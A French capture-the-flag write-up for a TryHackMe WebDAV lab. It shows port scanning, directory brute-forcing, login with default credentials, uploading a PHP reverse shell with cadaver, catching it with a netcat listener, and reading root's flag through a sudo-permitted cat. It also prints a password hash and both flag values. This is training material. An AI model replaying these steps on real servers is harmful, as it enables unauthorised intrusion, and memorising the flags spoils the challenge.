https://tryhackme.com/room/bsidesgtdav
Un seul port ouvert dans ce challenge.
root@ip-10-10-218-182:~# nmap 10.10.183.89
Starting Nmap 7.60 ( https://nmap.org ) at 2022-12-17 23:23 GMT
Nmap scan report for ip-10-10-183-89.eu-west-1.compute.internal (10.10.183.89)
Host is up (0.0030s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
80/tcp open http
MAC Address: 02:85:E5:6B:63:D7 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 1.66 seconds
Gobuster indique un répertoire caché /webdav.
root@ip-10-10-218-182:~/Desktop/Tools/wordlists/dirbuster# gobuster dir -u http://10.10.183.89/ -w directory-list-2.3-medium.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.183.89/
[+] Threads: 10
[+] Wordlist: directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2022/12/17 23:25:58 Starting gobuster
===============================================================
/webdav (Status: 401)
/server-status (Status: 403)
===============================================================
2022/12/17 23:26:18 Finished
===============================================================
Webdav est une groupe d’extensions du protocole HTTP (voir ce site ou cet autre site).
Via le navigateur, des identifiants sont demandés pour accéder à ce répertoire.
On peut trouver les identifiants par défaut par exemple sur ce site.
On accède bien au répertoire !
wampp:$apr1$Wm2VTkFL$PVNRQv7kzqXQIHe14qKA91
On retrouve les identifiants utilisés précédemment.
Maintenant, nous allons envoyer un reverse shell en PHP et ouvrir un listener sur notre machine. On utilisera cadaver pour l’upload.
$ cadaver http://10.10.19.245/webdav
Authentication required for webdav on server `10.10.183.89':
Username: wampp
Password:
dav:/webdav/> put shell.php
Uploading shell.php to `/webdav/shell.php':
Progress: [=============================>] 100.0% of 5491 bytes succeeded.
dav:/webdav/> quit
Connection to `10.10.183.89' closed.
$ rlwrap nc -nlvp 4444
Il suffit maintenant d’ouvrir la page http://10.10.183.89/webdav/shell.php
Nous obtenons notre reverse shell.
$ rlwrap nc -nlvp 4444
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.183.89.
Ncat: Connection from 10.10.183.89:55292.
Linux ubuntu 4.4.0-159-generic #187-Ubuntu SMP Thu Aug 1 16:28:06 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
20:10:37 up 1:56, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
On upgrade le shell et on obtient notre premier flag.
$ SHELL=/bin/bash script -q /dev/null
www-data@ubuntu:/$ cd /home
www-data@ubuntu:/home$ ls
merlin wampp
www-data@ubuntu:/home/wampp$ cd /home/merlin/
www-data@ubuntu:/home/merlin$ ls -la
total 44
drwxr-xr-x 4 merlin merlin 4096 Aug 25 2019 .
drwxr-xr-x 4 root root 4096 Aug 25 2019 ..
-rw------- 1 merlin merlin 2377 Aug 25 2019 .bash_history
-rw-r--r-- 1 merlin merlin 220 Aug 25 2019 .bash_logout
-rw-r--r-- 1 merlin merlin 3771 Aug 25 2019 .bashrc
drwx------ 2 merlin merlin 4096 Aug 25 2019 .cache
-rw------- 1 merlin merlin 68 Aug 25 2019 .lesshst
drwxrwxr-x 2 merlin merlin 4096 Aug 25 2019 .nano
-rw-r--r-- 1 merlin merlin 655 Aug 25 2019 .profile
-rw-r--r-- 1 merlin merlin 0 Aug 25 2019 .sudo_as_admin_successful
-rw-r--r-- 1 root root 183 Aug 25 2019 .wget-hsts
-rw-rw-r-- 1 merlin merlin 33 Aug 25 2019 user.txt
www-data@ubuntu:/home/merlin$ cat user.txt
449b40fe93f78a938523b7e4dcd66d2a
Pour le flag root, regardons les commandes disponibles avec la commande sudo -l
www-data@ubuntu:/home/merlin$ sudo -l
Matching Defaults entries for www-data on ubuntu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ubuntu:
(ALL) NOPASSWD: /bin/cat
On peut utiliser la commande cat !
Il ne nous reste plus qu’à obtenir le flag root.
www-data@ubuntu:/home/merlin$ sudo cat /root/root.txt
101101ddc16b0cdf65ba0b8a7af7afa5